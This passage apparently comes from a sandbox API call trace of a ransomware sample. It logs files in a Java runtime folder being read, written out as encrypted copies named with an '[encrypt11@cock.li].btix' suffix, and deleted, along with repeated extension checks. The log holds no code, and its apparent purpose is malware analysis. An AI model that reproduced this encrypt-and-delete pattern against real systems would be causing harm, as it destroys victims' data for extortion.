lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xcb0, lpOverlapped=0x0) returned 1 [0128.983] ReadFile (in: hFile=0x3c0, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0128.983] WriteFile (in: hFile=0x3c4, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xe6, lpOverlapped=0x0) returned 1 [0128.983] SetEndOfFile (hFile=0x3c4) returned 1 [0128.983] CloseHandle (hObject=0x3c4) returned 1 [0128.983] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0128.983] SetEndOfFile (hFile=0x3c0) returned 1 [0128.988] CloseHandle (hObject=0x3c0) returned 1 [0128.988] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0128.988] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright")) returned 1 [0128.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0128.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0128.989] lstrlenW (lpString=".doc") returned 4 [0128.989] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1 [0128.989] lstrlenW (lpString=".docx") returned 5 [0128.989] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1 [0128.989] lstrlenW (lpString=".pdf") returned 4 [0128.989] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1 [0128.989] lstrlenW (lpString=".xls") returned 4 [0128.989] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1 [0128.989] lstrlenW (lpString=".xlsx") returned 5 [0128.989] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1 [0128.989] lstrlenW (lpString=".ppt") returned 4 [0128.989] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1 [0128.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0128.989] lstrlenW (lpString=".zip") returned 4 [0128.989] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1 [0128.989] lstrlenW (lpString=".rar") returned 4 [0128.989] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1 [0128.989] lstrlenW (lpString=".bz2") returned 4 [0128.989] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1 [0128.989] lstrlenW (lpString=".7z") returned 3 [0128.989] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1 [0128.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0128.989] lstrlenW (lpString=".dbf") returned 4 [0128.989] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1 [0128.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0128.989] lstrlenW (lpString=".1cd") returned 4 [0128.989] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1 [0128.989] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0128.989] lstrlenW (lpString=".jpg") returned 4 [0128.989] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1 [0128.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0128.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0128.990] lstrlenW (lpString=".doc") returned 4 [0128.990] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1 [0128.990] lstrlenW (lpString=".docx") returned 5 [0128.990] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1 [0128.990] lstrlenW (lpString=".pdf") returned 4 [0128.990] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1 [0128.990] lstrlenW (lpString=".xls") returned 4 [0128.990] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1 [0128.990] lstrlenW (lpString=".xlsx") returned 5 [0128.990] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1 [0128.990] lstrlenW (lpString=".ppt") returned 4 [0128.990] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1 [0128.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0128.990] lstrlenW (lpString=".zip") returned 4 [0128.990] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1 [0128.990] lstrlenW (lpString=".rar") returned 4 [0128.990] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1 [0128.990] lstrlenW (lpString=".bz2") returned 4 [0128.990] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1 [0128.990] lstrlenW (lpString=".7z") returned 3 [0128.990] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1 [0128.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0128.990] lstrlenW (lpString=".dbf") returned 4 [0128.990] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1 [0128.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0128.990] lstrlenW (lpString=".1cd") returned 4 [0128.990] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1 [0128.990] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44 [0128.990] lstrlenW (lpString=".jpg") returned 4 [0128.990] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1 [0128.991] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0128.991] lstrlenW (lpString="calendars.properties") returned 20 [0128.991] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0128.991] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1378) returned 1 [0128.991] CloseHandle (hObject=0x3c0) returned 1 [0128.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 0x20 [0128.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0128.991] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0128.992] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0128.992] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0128.992] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0128.995] GetLastError () returned 0x0 [0128.995] ReadFile (in: hFile=0x3c0, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x562, lpOverlapped=0x0) returned 1 [0129.061] WriteFile (in: hFile=0x3c4, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x570, lpOverlapped=0x0) returned 1 [0129.062] ReadFile (in: hFile=0x3c0, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0129.062] WriteFile (in: hFile=0x3c4, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xfc, lpOverlapped=0x0) returned 1 [0129.062] SetEndOfFile (hFile=0x3c4) returned 1 [0129.062] CloseHandle (hObject=0x3c4) returned 1 [0129.062] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.062] SetEndOfFile (hFile=0x3c0) returned 1 [0129.065] CloseHandle (hObject=0x3c0) returned 1 [0129.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0129.067] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 1 [0129.067] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0129.068] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0129.068] lstrlenW (lpString=".doc") returned 4 [0129.068] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0129.068] lstrlenW (lpString=".docx") returned 5 [0129.068] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0129.068] lstrlenW (lpString=".pdf") returned 4 [0129.068] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0129.068] lstrlenW (lpString=".xls") returned 4 [0129.068] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0129.068] lstrlenW (lpString=".xlsx") returned 5 [0129.068] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0129.068] lstrlenW (lpString=".ppt") returned 4 [0129.068] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0129.068] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0129.068] lstrlenW (lpString=".zip") returned 4 [0129.068] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0129.068] lstrlenW (lpString=".rar") returned 4 [0129.068] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0129.068] lstrlenW (lpString=".bz2") returned 4 [0129.068] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0129.068] lstrlenW (lpString=".7z") returned 3 [0129.068] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0129.068] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0129.068] lstrlenW (lpString=".dbf") returned 4 [0129.068] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0129.068] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0129.068] lstrlenW (lpString=".1cd") returned 4 [0129.068] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0129.068] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0129.068] lstrlenW (lpString=".jpg") returned 4 [0129.068] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0129.069] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0129.069] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0129.069] lstrlenW (lpString=".doc") returned 4 [0129.069] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0129.069] lstrlenW (lpString=".docx") returned 5 [0129.069] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0129.069] lstrlenW (lpString=".pdf") returned 4 [0129.069] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0129.069] lstrlenW (lpString=".xls") returned 4 [0129.069] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0129.069] lstrlenW (lpString=".xlsx") returned 5 [0129.069] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0129.069] lstrlenW (lpString=".ppt") returned 4 [0129.069] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0129.069] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0129.069] lstrlenW (lpString=".zip") returned 4 [0129.069] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0129.069] lstrlenW (lpString=".rar") returned 4 [0129.069] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0129.069] lstrlenW (lpString=".bz2") returned 4 [0129.069] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0129.069] lstrlenW (lpString=".7z") returned 3 [0129.069] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0129.069] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0129.069] lstrlenW (lpString=".dbf") returned 4 [0129.069] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0129.069] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0129.069] lstrlenW (lpString=".1cd") returned 4 [0129.069] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0129.069] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0129.069] lstrlenW (lpString=".jpg") returned 4 [0129.069] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0129.070] lstrcmpiW (lpString1=".pf", lpString2=".btix") returned 1 [0129.070] lstrlenW (lpString="GRAY.pf") returned 7 [0129.070] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0129.070] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=632) returned 1 [0129.070] CloseHandle (hObject=0x3c4) returned 1 [0129.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 0x20 [0129.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0129.070] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0129.071] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.071] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.071] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0129.071] GetLastError () returned 0x0 [0129.071] ReadFile (in: hFile=0x3c4, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x278, lpOverlapped=0x0) returned 1 [0129.072] WriteFile (in: hFile=0x3d4, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x280, lpOverlapped=0x0) returned 1 [0129.073] ReadFile (in: hFile=0x3c4, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0129.073] WriteFile (in: hFile=0x3d4, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xe2, lpOverlapped=0x0) returned 1 [0129.073] SetEndOfFile (hFile=0x3d4) returned 1 [0129.073] CloseHandle (hObject=0x3d4) returned 1 [0129.073] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.073] SetEndOfFile (hFile=0x3c4) returned 1 [0129.076] CloseHandle (hObject=0x3c4) returned 1 [0129.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0129.076] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 1 [0129.076] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0129.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0129.077] lstrlenW (lpString=".doc") returned 4 [0129.077] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1 [0129.077] lstrlenW (lpString=".docx") returned 5 [0129.077] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1 [0129.077] lstrlenW (lpString=".pdf") returned 4 [0129.077] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1 [0129.077] lstrlenW (lpString=".xls") returned 4 [0129.077] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1 [0129.077] lstrlenW (lpString=".xlsx") returned 5 [0129.077] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1 [0129.077] lstrlenW (lpString=".ppt") returned 4 [0129.077] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1 [0129.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0129.077] lstrlenW (lpString=".zip") returned 4 [0129.077] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1 [0129.077] lstrlenW (lpString=".rar") returned 4 [0129.077] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1 [0129.077] lstrlenW (lpString=".bz2") returned 4 [0129.077] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1 [0129.077] lstrlenW (lpString=".7z") returned 3 [0129.077] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0129.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0129.077] lstrlenW (lpString=".dbf") returned 4 [0129.077] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1 [0129.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0129.077] lstrlenW (lpString=".1cd") returned 4 [0129.077] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1 [0129.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0129.077] lstrlenW (lpString=".jpg") returned 4 [0129.077] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1 [0129.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0129.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0129.078] lstrlenW (lpString=".doc") returned 4 [0129.078] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1 [0129.078] lstrlenW (lpString=".docx") returned 5 [0129.078] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1 [0129.078] lstrlenW (lpString=".pdf") returned 4 [0129.078] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1 [0129.078] lstrlenW (lpString=".xls") returned 4 [0129.078] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1 [0129.078] lstrlenW (lpString=".xlsx") returned 5 [0129.078] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1 [0129.078] lstrlenW (lpString=".ppt") returned 4 [0129.078] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1 [0129.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0129.078] lstrlenW (lpString=".zip") returned 4 [0129.078] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1 [0129.078] lstrlenW (lpString=".rar") returned 4 [0129.078] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1 [0129.078] lstrlenW (lpString=".bz2") returned 4 [0129.078] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1 [0129.078] lstrlenW (lpString=".7z") returned 3 [0129.078] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0129.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0129.078] lstrlenW (lpString=".dbf") returned 4 [0129.078] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1 [0129.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0129.078] lstrlenW (lpString=".1cd") returned 4 [0129.078] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1 [0129.078] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0129.078] lstrlenW (lpString=".jpg") returned 4 [0129.078] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1 [0129.079] lstrcmpiW (lpString1=".pf", lpString2=".btix") returned 1 [0129.079] lstrlenW (lpString="LINEAR_RGB.pf") returned 13 [0129.079] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0129.080] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1044) returned 1 [0129.080] CloseHandle (hObject=0x3c4) returned 1 [0129.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 0x20 [0129.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0129.080] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0129.080] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.080] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.080] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0129.082] GetLastError () returned 0x0 [0129.082] ReadFile (in: hFile=0x3c4, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x414, lpOverlapped=0x0) returned 1 [0129.189] WriteFile (in: hFile=0x3d4, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x420, lpOverlapped=0x0) returned 1 [0129.190] ReadFile (in: hFile=0x3c4, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0129.190] WriteFile (in: hFile=0x3d4, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0xee, lpOverlapped=0x0) returned 1 [0129.190] SetEndOfFile (hFile=0x3d4) returned 1 [0129.190] CloseHandle (hObject=0x3d4) returned 1 [0129.190] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.191] SetEndOfFile (hFile=0x3c4) returned 1 [0129.193] CloseHandle (hObject=0x3c4) returned 1 [0129.193] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0129.193] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 1 [0129.194] lstrlenW (lpString="C:\\Program 